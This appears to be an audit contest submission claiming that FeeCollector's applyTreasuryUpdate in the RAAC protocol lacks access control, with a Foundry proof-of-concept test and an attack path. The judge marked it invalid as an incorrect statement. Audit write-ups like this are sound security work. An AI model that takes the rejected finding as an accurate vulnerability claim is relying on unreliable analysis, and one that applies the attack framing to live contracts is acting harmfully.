Core Contracts
Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Previous Next
Submission Details
Severity: medium
Invalid

Anyone can call the `applyTreasuryUpdate` & `applyRepairFundUpdate` function after the owner have set their respective addresses in Feecollector.sol

demonhat

Summary

In FeeCollector.sol contract's treasury update mechanism has a flaw where any one can execute a pending treasury update after the timelock period, bypassing the intended admin control over the update timing. While the initiation of treasury changes is restricted to admin, the actual execution lacks access control, allowing attackers to control the timing of sensitive treasury updates.

Vulnerability Details

The vulnerability exists in the treasury update process:

// Admin initiates the update
function setTreasury(address newTreasury) external onlyRole(DEFAULT_ADMIN_ROLE) {
pendingTreasury.addr = newTreasury;
pendingTreasury.timestamp = block.timestamp;
}

Treasury Update Execution: https://github.com/Cyfrin/2025-02-raac/blob/89ccb062e2b175374d40d824263a4c0b601bcb7f/contracts/core/collectors/FeeCollector.sol#L306

// audit- Missing access control - anyone can call this
function applyTreasuryUpdate() external {
if (pendingTreasury.addr == address(0)) revert InvalidUpdate();
if (block.timestamp < pendingTreasury.timestamp + TREASURY_DELAY) revert TimelockNotExpired();
address oldTreasury = treasury;
treasury = pendingTreasury.addr;
delete pendingTreasury;
emit TreasuryUpdated(oldTreasury, treasury);
}

Create a test file and add this poc:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
​
import "forge-std/Test.sol";
import "forge-std/console.sol";
​
import "../../../../contracts/core/collectors/FeeCollector.sol";
import "../../../../contracts/core/tokens/RAACToken.sol";
import "../../../../contracts/core/tokens/veRAACToken.sol";
import "../../../../contracts/libraries/math/TimeWeightedAverage.sol";
import "../../../../contracts/interfaces/core/collectors/IFeeCollector.sol";
import "../../../../contracts/interfaces/core/tokens/IveRAACToken.sol";
​
contract EmergencyWithdrawTest is Test {
FeeCollector public feeCollector;
RAACToken public raacToken;
veRAACToken public veraacToken;
bytes32 public distributionPeriod;
address public treasury;
address public repairFund;
address public admin;
address public alice;
address public bob;
​
function setUp() public {
// Setup accounts
admin = makeAddr("admin");
treasury = makeAddr("treasury");
repairFund = makeAddr("repairFund");
alice = makeAddr("alice");
bob = makeAddr("bob");
​
vm.startPrank(admin);
// Deploy core contracts
raacToken = new RAACToken(
admin,
100, // 1% swapTax
50 // 0.5% burnTax
);
veraacToken = new veRAACToken(address(raacToken));
feeCollector = new FeeCollector(
address(raacToken),
address(veraacToken),
treasury,
repairFund,
admin
);
​
// Setup roles and permissions
feeCollector.grantRole(feeCollector.DISTRIBUTOR_ROLE(), admin);
feeCollector.grantRole(feeCollector.FEE_MANAGER_ROLE(), admin);
​
// First mint initial tokens as admin
raacToken.setMinter(admin); // Set admin as minter first
raacToken.mint(alice, 1000e18);
raacToken.mint(bob, 4000e18);
// Then set feeCollector as minter for future operations
raacToken.setMinter(address(feeCollector));
vm.stopPrank();
​
// Initialize distribution period
distributionPeriod = keccak256("DISTRIBUTION_PERIOD");
}
​
function testTreasuryUpdateTimingControl() public {
// SETUP
address newTreasury = makeAddr("newTreasury");
address attacker = makeAddr("attacker");
​
// 1. Admin initiates treasury change with timelock
vm.startPrank(admin);
feeCollector.setTreasury(newTreasury);
vm.stopPrank();
​
// 2. Verify pending update is set
(address pendingAddr,) = feeCollector.pendingTreasury();
assertEq(pendingAddr, newTreasury, "Pending treasury should be set");
​
// 3. Attacker tries to apply before timelock - should fail
vm.startPrank(attacker);
vm.expectRevert(); // Should revert with UnauthorizedCaller
feeCollector.applyTreasuryUpdate();
vm.stopPrank();
​
// 4. Wait for timelock to expire
vm.warp(block.timestamp + 1 days + 1);
​
// 5. Attacker can now apply the update before admin
vm.startPrank(attacker);
feeCollector.applyTreasuryUpdate(); // No access control!
vm.stopPrank();
​
// 6. Verify attacker controlled the timing of treasury update
assertEq(feeCollector.treasury(), newTreasury, "Treasury was updated by attacker");
​
// 7. Show that admin's intended timing was bypassed
vm.startPrank(admin);
vm.expectRevert(); // Should revert since update was already applied
feeCollector.applyTreasuryUpdate();
vm.stopPrank();
​
console.log("\nTreasury Update Control:");
console.log("Original Treasury:", treasury);
console.log("New Treasury:", feeCollector.treasury());
console.log("Update applied by:", attacker);
}
}

Attack Path:

Admin initiates treasury update with timelock:

vm.startPrank(admin);
feeCollector.setTreasury(newTreasury);
vm.stopPrank();

Timelock period passes:

vm.warp(block.timestamp + 1 days + 1);

Attacker can execute update before admin:

vm.startPrank(attacker);
feeCollector.applyTreasuryUpdate(); // Succeeds due to no access control
vm.stopPrank();

Admin loses control over update timing:

vm.startPrank(admin);
vm.expectRevert(); // Reverts as update already applied
feeCollector.applyTreasuryUpdate();
vm.stopPrank();

Impact

Security Risks:

  • Attackers can control timing of treasury updates

  • Potential for malicious timing coordination with other attacks

  • Admin loses control over critical protocol parameter changes

Tools Used

Recommendations

Add an access control to the function.

Updates

Lead Judging Commences

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!